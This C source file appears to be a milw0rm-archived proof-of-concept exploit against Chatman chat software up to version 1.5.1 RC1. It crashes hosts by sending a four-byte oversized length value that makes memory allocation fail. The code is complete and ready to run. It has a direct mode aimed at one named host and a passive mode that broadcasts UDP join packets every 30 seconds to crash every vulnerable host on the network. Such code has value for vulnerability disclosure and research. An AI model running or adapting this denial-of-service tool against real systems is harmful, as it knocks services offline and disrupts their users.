/*
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef WIN32
#include <winsock.h>
#include <string.h>
#include <errno.h>
void std_err(void) {
char *error;
switch(WSAGetLastError()) {
case 10004: error = "Interrupted system call"; break;
case 10009: error = "Bad file number"; break;
case 10013: error = "Permission denied"; break;
case 10014: error = "Bad address"; break;
case 10022: error = "Invalid argument (not bind)"; break;
case 10024: error = "Too many open files"; break;
case 10035: error = "Operation would block"; break;
case 10036: error = "Operation now in progress"; break;
case 10037: error = "Operation already in progress"; break;
case 10038: error = "Socket operation on non-socket"; break;
case 10039: error = "Destination address required"; break;
case 10040: error = "Message too long"; break;
case 10041: error = "Protocol wrong type for socket"; break;
case 10042: error = "Bad protocol option"; break;
case 10043: error = "Protocol not supported"; break;
case 10044: error = "Socket type not supported"; break;
case 10045: error = "Operation not supported on socket"; break;
case 10046: error = "Protocol family not supported"; break;
case 10047: error = "Address family not supported by protocol family"; break;
case 10048: error = "Address already in use"; break;
case 10049: error = "Can't assign requested address"; break;
case 10050: error = "Network is down"; break;
case 10051: error = "Network is unreachable"; break;
case 10052: error = "Net dropped connection or reset"; break;
case 10053: error = "Software caused connection abort"; break;
case 10054: error = "Connection reset by peer"; break;
case 10055: error = "No buffer space available"; break;
case 10056: error = "Socket is already connected"; break;
case 10057: error = "Socket is not connected"; break;
case 10058: error = "Can't send after socket shutdown"; break;
case 10059: error = "Too many references, can't splice"; break;
case 10060: error = "Connection timed out"; break;
case 10061: error = "Connection refused"; break;
case 10062: error = "Too many levels of symbolic links"; break;
case 10063: error = "File name too long"; break;
case 10064: error = "Host is down"; break;
case 10065: error = "No Route to Host"; break;
case 10066: error = "Directory not empty"; break;
case 10067: error = "Too many processes"; break;
case 10068: error = "Too many users"; break;
case 10069: error = "Disc Quota Exceeded"; break;
case 10070: error = "Stale NFS file handle"; break;
case 10091: error = "Network SubSystem is unavailable"; break;
case 10092: error = "WINSOCK DLL Version out of range"; break;
case 10093: error = "Successful WSASTARTUP not yet performed"; break;
case 10071: error = "Too many levels of remote in path"; break;
case 11001: error = "Host not found"; break;
case 11002: error = "Non-Authoritative Host not found"; break;
case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
case 11004: error = "Valid name, no data record of requested type"; break;
default: error = strerror(errno); break;
}
fprintf(stderr, "\nError: %s\n", error);
exit(1);
}
#define close closesocket
#define ONESEC 1000
#define TWAIT 30000
DWORD tid1;
HANDLE thandle;
#define launch_thread(FUNCTION, PARAMETER) \
thandle = CreateThread(NULL, 0, (void *)&FUNCTION, (void *)PARAMETER, 0, &tid1); \
if(!thandle)
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <netinet/in.h>
#include <pthread.h>
#define ONESEC 1
#define TWAIT 30
pthread_t tid1;
int thandle;
#define launch_thread(FUNCTION, PARAMETER) \
thandle = pthread_create(&tid1, NULL, (void *)&FUNCTION, (void *)PARAMETER); \
if(thandle)
#endif
#define VER "0.1"
#define PORT 7779
#define JOIN "/TS\r" "crash"
#define BOOM "\x00\x00\x00\x7f"
// the cause of the bug is a too big 32 bit value
// so the allocation fails and the host exits
// note, are made some operations on this number
// by the target host
#ifdef WIN32
DWORD WINAPI broadjoin(void);
DWORD WINAPI client(int sock);
#else
void *broadjoin(void);
void *client(int sock);
#endif
u_long resolv(char *host);
void std_err(void);
u_long broadip = 0xffffffffL;
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
sa,
type,
on = 1,
psz;
setbuf(stdout, NULL);
fputs("\n"
"Chatman <= 1.5.1 RC1 broadcast crash "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@altervista.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
if(argc < 2) {
printf("\n"
"Usage: %s <d/p> [host]\n"
"\n"
"d = direct, you must specify the host to crash\n"
" Example: %s d localhost\n"
"p = passive broadcast crash, any Chatman host reacheable by 255.255.255.255\n"
" (or any other address choosen by you) will be passively crashed.\n"
" Examples: %s p\n"
" %s p 227.0.0.2\n"
" %s p 127.0.0.1\n"
"\n", argv[0], argv[0], argv[0], argv[0], argv[0]);
exit(1);
}
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
type = argv[1][0];
if((type != 'd') && (type != 'p')) {
fputs("\nError: You must choose between 'd' or 'p'\n", stdout);
exit(1);
}
if(type == 'd') {
if(argc < 3) {
fputs("\nError: you must specify the host to crash\n", stdout);
exit(1);
}
peer.sin_addr.s_addr = resolv(argv[2]);
printf("- target %s:%hu\n",
inet_ntoa(peer.sin_addr),
PORT);
} else {
if(argc > 2) broadip = resolv(argv[2]);
peer.sin_addr.s_addr = INADDR_ANY;
psz = sizeof(peer);
printf("- target %s (UDP %d, bind %d)\n",
inet_ntoa(*(struct in_addr *)&broadip),
PORT - 1,
PORT);
}
peer.sin_port = htons(PORT);
peer.sin_family = AF_INET;
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();
if(type == 'd') {
if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
fputs("- send BOOM data\n", stdout);
if(send(sd, BOOM, sizeof(BOOM) - 1, 0)
< 0) std_err();
fputs("- the host should be crashed, check it manually\n", stdout);
} else {
fputs(
"- launch the broad ping, the tool will automatically and passively crash any\n"
" vulnerable Chatman host each 30 seconds (so it runs infinitely until you\n"
" stop it).\n", stdout);
launch_thread(broadjoin, NULL) {
fputs("\nError: Cannot create the thread\n", stdout);
exit(1);
}
fputs("- bind TCP port to accept connections to crash hosts\n", stdout);
if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on))
< 0) std_err();
if(bind(sd, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
if(listen(sd, 5)
< 0) std_err();
for(;;) {
sa = accept(sd, (struct sockaddr *)&peer, &psz);
if(sa < 0) std_err();
printf("Host %s:%hu -> BOOM\n",
inet_ntoa(peer.sin_addr),
ntohs(peer.sin_port));
launch_thread(client, sa) {
fputs("\nError: Cannot create the thread\n", stdout);
exit(1);
}
}
}
close(sd);
return(0);
}
#ifdef WIN32
DWORD WINAPI broadjoin(void) {
#else
void *broadjoin(void) {
#endif
int sd,
on = 1;
struct sockaddr_in peer;
peer.sin_addr.s_addr = broadip;
peer.sin_port = htons(PORT - 1); // 7778
peer.sin_family = AF_INET;
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
if(setsockopt(sd, SOL_SOCKET, SO_BROADCAST, (char *)&on, sizeof(on))
< 0) std_err();
fputs("- send broadcast UDP join packet (each 30 seconds)\n", stdout);
for(;;) {
if(sendto(sd, JOIN, sizeof(JOIN) - 1, 0, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
fputs(".\n", stdout);
sleep(TWAIT);
}
close(sd);
return(0);
}
#ifdef WIN32
DWORD WINAPI client(int sock) {
#else
void *client(int sock) {
#endif
if(send(sock, BOOM, sizeof(BOOM) - 1, 0)
< 0) std_err();
sleep(ONESEC); // needed!
close(sock);
return(0);
}
u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolve hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_long *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
// milw0rm.com [2004-03-01]
